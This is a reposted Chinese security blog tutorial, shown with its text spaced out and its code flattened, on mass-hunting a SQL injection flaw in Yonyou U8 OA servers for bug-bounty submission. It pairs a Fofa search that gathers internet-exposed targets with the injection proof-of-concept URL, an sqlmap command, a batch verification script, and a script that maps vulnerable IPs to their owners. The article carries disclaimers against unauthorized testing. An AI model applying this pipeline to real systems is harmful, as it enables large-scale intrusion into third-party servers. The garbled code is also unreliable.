搜索

[22175] 2021-07-21_一条Fofa搜索语法，实现批量挖洞

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-18
2021-07-21_一条Fofa搜索语法，实现批量挖洞 一 条 F o f a 搜 索 语 法 ， 实 现 批 量 挖 洞 L e m o n S e c   2 0 2 1 - 0 7 - 2 1 作 者 ： J e r r y t q q 转 自 ： h t t p : / / 3 3 h . c o / 2 3 t f 9 任 何 非 授 权 的 渗 透 测 试 都 是 违 法 的 、 点 到 为 止 ！ 任 何 非 授 权 的 渗 透 测 试 都 是 违 法 的 、 点 到 为 止 ！ 前 言 前 言 最 近 在 学 习 如 何 批 量 验 证 P O C ， 期 间 也 参 考 了 不 少 文 章 ， 于 是 萌 生 了 整 合 出 一 个 自 动 化 批 量 挖 洞 的 想 法 。 最 终 实 现 效 果 为 ： 仅 通 过 一 条 仅 通 过 一 条 F o f a 搜 索 语 法 ， 就 可 以 挖 出 可 供 提 交 公 益 搜 索 语 法 ， 就 可 以 挖 出 可 供 提 交 公 益 S R C 的 漏 洞 的 漏 洞 流 程 包 括 : 1 、 前 期 的 信 息 收 集 （ F O F A ） 2 、 中 期 的 漏 洞 验 证 （ P y t h o n 批 量 脚 本 ） 3 、 后 期 的 I P 反 查 （ P y t h o n 批 量 脚 本 ） 本 次 采 用 " 用 友 用 友   U 8   O A   S Q L 注 入 漏 洞 注 入 漏 洞 " 来 演 示 整 个 自 动 化 流 程 。 这 个 漏 洞 的 P O C 很 简 单 ， 这 里 直 接 附 上 ， 详 情 需 要 的 话 网 上 有 很 多 。 P O C ： ： h t t p : / / I P : P O R T / y y o a / c o m m o n / j s / m e n u / t e s t . j s p ? d o T y p e = 1 0 1 & S 1 = ( S E L E C T % 2 0 M D 5 ( 1 ) ) 信 息 收 集 信 息 收 集 众 所 周 知 ， 信 息 收 集 是 渗 透 测 试 中 最 关 键 的 环 节 。 信 息 收 集 阶 段 我 们 的 主 要 目 标 是 ： 1 、 找 到 网 上 公 开 的 漏 洞 P O C 2 、 找 出 可 能 存 在 该 漏 洞 的 I P 列 表 这 里 我 先 推 荐 2 个 我 经 常 逛 的 漏 洞 文 库 。 白 阁 文 库 （ h t t p : / / 3 3 h . c o / 2 3 t t a ） P e i Q i   W i K i - P O C 文 库 （ h t t p : / / w i k i . p e i q i . t e c h / ) 文 章 后 续 的 P O C 也 参 考 了 文 库 中 的 信 息 。 正 文 开 始 正 文 开 始 本 次 采 用 F o f a 搜 索 引 擎 来 收 集 可 能 存 在 漏 洞 的 I P 。
F o f a 语 句 ： t i t l e = " 用 友 U 8 - O A " 考 虑 到 后 续 需 要 把 F o f a 收 集 到 的 I P 列 表 导 出 给 脚 本 批 量 验 证 ， 这 里 使 用 G i t h u b 开 源 工 具 F o f a - c o l l e c t ( h t t p s : / / g i t h u b . c o m / t a n g x i a o f e n g 7 / F o f a - c o l l e c t / r e l e a s e s ) 这 个 工 具 使 用 方 式 很 简 单 ， 只 需 要 配 置 好 你 的 F o f a 邮 箱 和 A P I ， 就 可 以 直 接 输 入 F o f a 语 法 ， 得 到 查 询 结 果 。 我 的 使 用 流 程 如 下 ： 1 、 在 F o f a - c o l l e c t 中 输 入 F o f a 语 法   - >   得 到 I P : P O R T 列 表 2 、 导 出 保 存 为 I P . t x t 至 此 ， 信 息 收 集 流 程 结 束 。 P O C 批 量 验 证 批 量 验 证 P O C 批 量 验 证 阶 段 我 们 的 主 要 目 标 是 ： 1 、 编 写 或 使 用 P O C ， 找 出 I P 列 表 中 真 正 存 在 漏 洞 的 I P P O C 批 量 验 证 的 脚 本 在 P e i Q i 文 库 的 P O C 基 础 上 进 一 步 改 写 ， 支 持 批 量 导 入 I P . t x t ， 并 导 出 存 在 漏 洞 的 U R L ， 保 存 为 u r l s . t x t 。
原 P O C 链 接 : ( h t t p : / / w i k i . p e i q i . t e c h / P e i Q i _ W i k i / O A % E 4 % B A % A 7 % E 5 % 9 3 % 8 1 % E 6 % B C % 8 F % E 6 % B 4 % 9 E / % E 7 % 9 4 % A 8 % E 5 % 8 F % 8 B O A / % E 7 % 9 4 % A 8 % E 5 % 8 F % 8 B % 2 0 U 8 % 2 0 O A % 2 0 t e s t . j s p % 2 0 S Q L % E 6 % B 3 % A 8 % E 5 % 8 5 % A 5 % E 6 % B C % 8 F % E 6 % B 4 % 9 E . h t m l ) 可 以 看 到 运 行 结 果 中 有 存 在 漏 洞 的 U R L ， 并 且 已 经 存 入 了 u r l s . t x t 我 们 随 便 挑 选 一 个 U R L ， 用 s q l m a p 跑 一 下 i m p o r t   r e q u e s t s i m p o r t   r e f r o m   r e q u e s t s . p a c k a g e s . u r l l i b 3 . e x c e p t i o n s   i m p o r t   I n s e c u r e R e q u e s t W a r n i n g i p   =   [ ]     #   用 于 存 放 存 在 漏 洞 的 U R L 地 址 d e f   t i t l e ( ) :         p r i n t ( ' + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ' )         p r i n t ( ' +     0 3 3 [ 3 4 m P O C _ D e s :   h t t p : / / w i k i . p e i q i . t e c h                                                                       0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 4 m G i t h u b   :   h t t p s : / / g i t h u b . c o m / P e i Q i 0                                                                   0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 4 m 公 众 号     :   P e i Q i 文 库                                                                                                       0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 4 m T i t l e       :   用 友   U 8   O A   t e s t . j s p   S Q L 注 入 漏 洞                                                       0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 6 m 使 用 格 式 :     p y t h o n 3   p o c . p y                                                                                         0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 6 m F i l e                   > > >   i p . t x t                                                           0 3 3 [ 0 m ' )         p r i n t ( ' + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ' )
可 以 看 到 是 存 在 注 入 点 的 （ 再 次 强 调 渗 透 测 试 点 到 为 止 ， 提 交 漏 洞 只 需 要 跑 出 数 据 库 名 证 明 漏 洞 存 在 ， 信 息 安 全 三 要 素 C I A 时 刻 铭 记 于 心 h h h ） 其 实 文 章 到 这 里 为 止 ， 就 可 以 证 明 漏 洞 存 在 了 ， 但 是 根 据 我 在 漏 洞 盒 子 刷 公 益 S R C 的 经 验 来 看 S R C 漏 洞 需 明 确 归 属 单 位 漏 洞 需 明 确 归 属 单 位 , 只 有 只 有 i p 或 是 非 明 确 单 位 的 域 名 暂 不 收 录 或 是 非 明 确 单 位 的 域 名 暂 不 收 录 所 以 光 有 I P 还 不 够 ， 需 要 我 们 去 把 这 些 存 在 漏 洞 的 I P ， 通 过 I P 反 查 域 名 ， 找 出 域 名 ， 再 找 出 域 名 所 属 的 单 位 ， 这 样 才 能 算 得 上 是 一 个 可 以 提 交 的 漏 洞 。 （ 例 如 你 挖 出   I P 地 址   3 9 . 1 5 6 . 6 9 . 7 9 存 在 漏 洞 ， 但 是 这 样 的 漏 洞 一 般 不 收 ， 你 需 要 去 查 出 这 个 I P   3 9 . 1 5 6 . 6 9 . 7 9 对 应 的 域 名 是 b a i d u . c o m ， 而 b a i d u . c o m 背 后 的 单 位 是 百 度 公 司 ， 将 I P 、 域 名 、 公 司 名 称 、 域 名 、 公 司 名 称 这 些 信 息 一 并 提 交 才 行 ） 于 是 就 有 了 下 一 个 模 块 ， 批 量 I P 反 查 。 批 量 批 量 I P 反 查 域 名 反 查 域 名 这 个 阶 段 我 们 的 主 要 目 标 是 ： 这 个 阶 段 我 们 的 主 要 目 标 是 ： 1 、 已 知 u r l s . t x t 中 的 I P 存 在 漏 洞 ， 找 出 这 些 I P 对 应 的 域 名 ， 并 找 到 域 名 所 属 单 位 要 想 批 量 I P 反 查 域 名 ， 找 到 一 个 合 适 的 接 口 是 首 先 要 考 虑 的 问 题 ， 下 面 我 列 出 几 个 可 以 I P 反 查 域 名 的 网 站 ： h t t p s : / / d n s . a i z h a n . c o m / = h t t p s : / / w w w . y o u g e t s i g n a l . c o m / t o o l s / w e b - s i t e s - o n - w e b - s e r v e r / h t t p s : / / t o o l s . i p i p . n e t / i p d o m a i n . p h p ? i p = 这 里 我 选 择 了 使 用 第 一 个 接 口 h t t p s : / / d n s . a i z h a n . c o m / = p y t h o n   s q l m a p . p y   - u   " h t t p : / / I P : P O R T / y y o a / c o m m o n / j s / m e n u / t e s t . j s p ? d o T y p e = 1 0 1 & S 1 = ( S E L E C T % 2 0 m d 5 ( 1 ) ) "   - p   " S 1 " 这 部 分 的 代 码 完 全 由 我 自 己 编 写 。 通 过 P y t h o n 语 言 ， 利 用 r e q u e s t s 包 模 拟 浏 览 器 请 求 ， B e a u t i f u l S o u p 包 来 提 取 页 面 内 容 ， 最 终 得 到 I P 对 应 的 域 名 。
运 行 完 成 后 ， 可 以 看 到 r e s u l t . t x t 中 出 现 了 一 些 I P 对 应 的 域 名 这 时 候 我 们 只 需 要 去 访 问 域 名 ， 就 可 以 知 道 这 个 I P 对 应 的 公 司 。 于 是 我 们 就 可 以 拿 着 这 些 信 息 去 提 交 漏 洞 了 ！ 至 此 ， 整 个 流 程 结 束 。 至 此 ， 整 个 流 程 结 束 。 可 以 看 到 我 们 通 过   一 条 F o f a 语 句   和   一 个 P O C   ， 就 可 以 在 短 时 间 内 快 速 找 到 可 以 提 交 公 益 S R C 的 漏 洞 在 拿 到 新 的 P O C 时 ， 仅 需 替 换 P O C _ 1 ( ) 函 数 ， 代 码 稍 加 改 动 ， 就 可 以 实 现 另 一 个 漏 洞 的 批 量 挖 掘 。 # ! / u s r / b i n / p y t h o n #   - * -   c o d i n g :   U T F - 8   - * - #   @ d a t e :   2 0 2 1 / 5 / 1 6   2 0 : 0 2 #   @ n a m e :   i p 反 查 域 名 #   @ a u t h o r ： h 2 o 0 o 4 ' ' ' 需 要 注 意 的 问 题 ： 有 时 候 没 有 一 个 I P 能 反 查 出 域 名 ， 可 能 是 因 为 你 的 I P 被 网 站 b a n 了 ， 而 不 是 查 不 出 来 ， 试 着 挂 个 代 理 这 个 接 口 有 时 候 会 因 为 你 的 频 繁 访 问 而 拒 绝 服 务 ， 但 是 有 时 候 是 可 以 跑 出 结 果 的 。 ' ' ' i m p o r t   r e i m p o r t   r e q u e s t s f r o m   b s 4   i m p o r t   B e a u t i f u l S o u p f r o m   u r l l i b 3 . e x c e p t i o n s   i m p o r t   I n s e c u r e R e q u e s t W a r n i n g l i s t   =   [ ]     #   用 于 存 放 可 以 通 过 I P 反 查 到 域 名 的 域 名 d e f   s e a r c h I P ( i p :   s t r ) :         i p   =   r e . f i n d a l l ( ' d { 1 , 3 } [ . ] d { 1 , 3 } [ . ] d { 1 , 3 } [ . ] d { 1 , 3 } ' ,   i p ) [ 0 ]         p r i n t ( " I P : { } " . f o r m a t ( i p ) )         u r l   =   " h t t p s : / / d n s . a i z h a n . c o m / "   +   i p   +   " / "
总 结 总 结 比 较 遗 憾 的 地 方 这 个 文 章 里 用 的 P O C 是 我 在 P e i Q i 文 库 提 供 的 P O C 基 础 上 改 的 ， 所 以 说 并 不 是 原 创 ， 但 是 这 也 是 一 个 学 习 的 过 程 ， 多 看 看 别 人 的 ， 慢 慢 的 自 己 就 也 能 上 手 写 了 ， 这 也 标 志 这 我 正 在 从 一 个 脚 本 小 子 变 成 代 码 大 师 （ 开 玩 笑 ） 。 为 什 么 不 用 现 有 的 为 什 么 不 用 现 有 的 P O C 批 量 工 具 ？ 批 量 工 具 ？ 我 有 了 解 到 P O C - T 是 一 个 很 棒 的 P O C 批 量 验 证 工 具 ， 同 时 g o b y 里 也 支 持 j s o n 格 式 导 入 P O C 验 证 模 块 ， 这 些 都 是 非 常 高 效 且 便 利 的 。 不 过 我 认 为 我 的 学 习 时 间 还 长 ， 要 尽 量 从 基 础 学 起 ， 这 就 需 要 动 手 写 写 代 码 ， 理 解 那 些 工 具 底 层 用 的 什 么 逻 辑 。 可 能 在 一 些 大 佬 眼 里 ， 我 这 个 小 项 目 就 是 一 个 缝 合 怪 ， 不 过 我 认 为 这 是 我 学 习 的 一 个 记 录 ， 还 希 望 口 下 留 情 。 参 考 文 章 参 考 文 章 h t t p : / / w i k i . p e i q i . t e c h / P e i Q i _ W i k i / O A 产 品 漏 洞 / 用 友 O A / 用 友 % 2 0 U 8 % 2 0 O A % 2 0 t e s t . j s p % 2 0 S Q L 注 入 漏 洞 . h t m l h t t p s : / / b b s . z k a q . c n / t / 5 3 2 0 . h t m l 本 项 目 源 码 本 项 目 源 码 h t t p s : / / g i t h u b . c o m / h 2 s o 0 o 4 / F u c k _ S R C 渗 透 测 试 干 货   |   横 向 渗 透 的 常 见 方 法 一 次 通 过 漏 洞 挖 掘 成 功 渗 透 某 网 站 的 过 程 安 全 团 队 不 可 错 过 的 七 个 云 安 全 开 源 工 具 欢 迎 关 注 欢 迎 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理